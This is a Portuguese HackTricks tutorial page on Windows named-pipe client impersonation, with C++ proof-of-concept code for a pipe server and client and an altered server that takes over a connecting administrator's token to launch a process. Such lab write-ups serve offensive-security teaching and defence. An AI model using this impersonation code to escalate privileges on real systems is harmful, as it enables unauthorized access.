# Impersonação de Cliente de Named Pipe ## Impersonação de Cliente de Named Pipe
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Esta informação foi copiada de** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) ## Visão Geral Um `pipe` é um bloco de memória compartilhada que processos podem usar para comunicação e troca de dados. `Named Pipes` é um mecanismo do Windows que permite que dois processos não relacionados troquem dados entre si, mesmo que os processos estejam localizados em duas redes diferentes. É muito semelhante à arquitetura cliente/servidor, pois existem noções como `um servidor de named pipe` e um `cliente de named pipe`. Um servidor de named pipe pode abrir um named pipe com algum nome predefinido e então um cliente de named pipe pode se conectar a esse pipe através do nome conhecido. Uma vez que a conexão é estabelecida, a troca de dados pode começar. Este laboratório está preocupado com um código PoC simples que permite: * criar um servidor de named pipe simples e de um único thread que aceitará uma conexão de cliente * servidor de named pipe para escrever uma mensagem simples no named pipe para que o cliente de pipe possa lê-la ## Código Abaixo está o PoC para o servidor e o cliente: {% tabs %} {% tab title="namedPipeServer.cpp" %} ```cpp #include "pch.h" #include #include int main() { LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe"; LPVOID pipeBuffer = NULL; HANDLE serverPipe; DWORD readBytes = 0; DWORD readBuffer = 0; int err = 0; BOOL isPipeConnected; BOOL isPipeOpen; wchar_t message[] = L"HELL"; DWORD messageLenght = lstrlen(message) * 2; DWORD bytesWritten = 0; std::wcout << "Creating named pipe " << pipeName << std::endl; serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL); isPipeConnected = ConnectNamedPipe(serverPipe, NULL); if (isPipeConnected) { std::wcout << "Incoming connection to " << pipeName << std::endl; } std::wcout << "Sending message: " << message << std::endl; WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL); return 0; } ``` {% endtab %} {% tab title="namedPipeClient.cpp" %} ```cpp #include "pch.h" #include #include const int MESSAGE_SIZE = 512; int main() { LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe"; HANDLE clientPipe = NULL; BOOL isPipeRead = true; wchar_t message[MESSAGE_SIZE] = { 0 }; DWORD bytesRead = 0; std::wcout << "Connecting to " << pipeName << std::endl; clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); while (isPipeRead) { isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL); std::wcout << "Received message: " << message; } return 0; } ``` {% endtab %} {% endtabs %} ## Execução Abaixo mostra o servidor de pipe nomeado e o cliente de pipe nomeado funcionando conforme esperado: ![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png>) Vale notar que a comunicação de pipes nomeados por padrão usa o protocolo SMB: ![](<../../.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png>) Verificando como o processo mantém um handle para nosso pipe nomeado `mantvydas-first-pipe`: ![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png>) Da mesma forma, podemos ver o cliente com um handle aberto para o pipe nomeado: ![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png>) Podemos até ver nosso pipe com powershell: ```csharp ((Get-ChildItem \\.\pipe\).name)[-1..-5] ``` ```markdown ## Impersonação de Token {% hint style="info" %} Observe que, para realizar a impersonação do token do processo cliente, você precisa ter (o processo do servidor que cria o pipe) o privilégio de token **`SeImpersonate`**. {% endhint %} É possível para o servidor de pipe nomeado impersonar o contexto de segurança do cliente de pipe nomeado ao utilizar a chamada de API `ImpersonateNamedPipeClient`, que por sua vez altera o token da thread atual do servidor de pipe nomeado com o token do cliente de pipe nomeado. Podemos atualizar o código do servidor de pipe nomeado assim para alcançar a impersonação - observe que as modificações estão visíveis na linha 25 e abaixo: ``` ```cpp int main() { LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe"; LPVOID pipeBuffer = NULL; HANDLE serverPipe; DWORD readBytes = 0; DWORD readBuffer = 0; int err = 0; BOOL isPipeConnected; BOOL isPipeOpen; wchar_t message[] = L"HELL"; DWORD messageLenght = lstrlen(message) * 2; DWORD bytesWritten = 0; std::wcout << "Creating named pipe " << pipeName << std::endl; serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL); isPipeConnected = ConnectNamedPipe(serverPipe, NULL); if (isPipeConnected) { std::wcout << "Incoming connection to " << pipeName << std::endl; } std::wcout << "Sending message: " << message << std::endl; WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL); std::wcout << "Impersonating the client..." << std::endl; ImpersonateNamedPipeClient(serverPipe); err = GetLastError(); STARTUPINFO si = {}; wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe"; PROCESS_INFORMATION pi = {}; HANDLE threadToken = GetCurrentThreadToken(); CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); return 0; } ``` Executando o servidor e conectando-se a ele com o cliente que está executando sob o contexto de segurança administrator@offense.local, podemos ver que a thread principal do servidor de pipe nomeado assumiu o token do cliente de pipe nomeado - offense\administrator, embora o PipeServer.exe em si esteja executando sob o contexto de segurança ws01\mantvydas. Parece uma boa maneira de escalar privilégios?
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).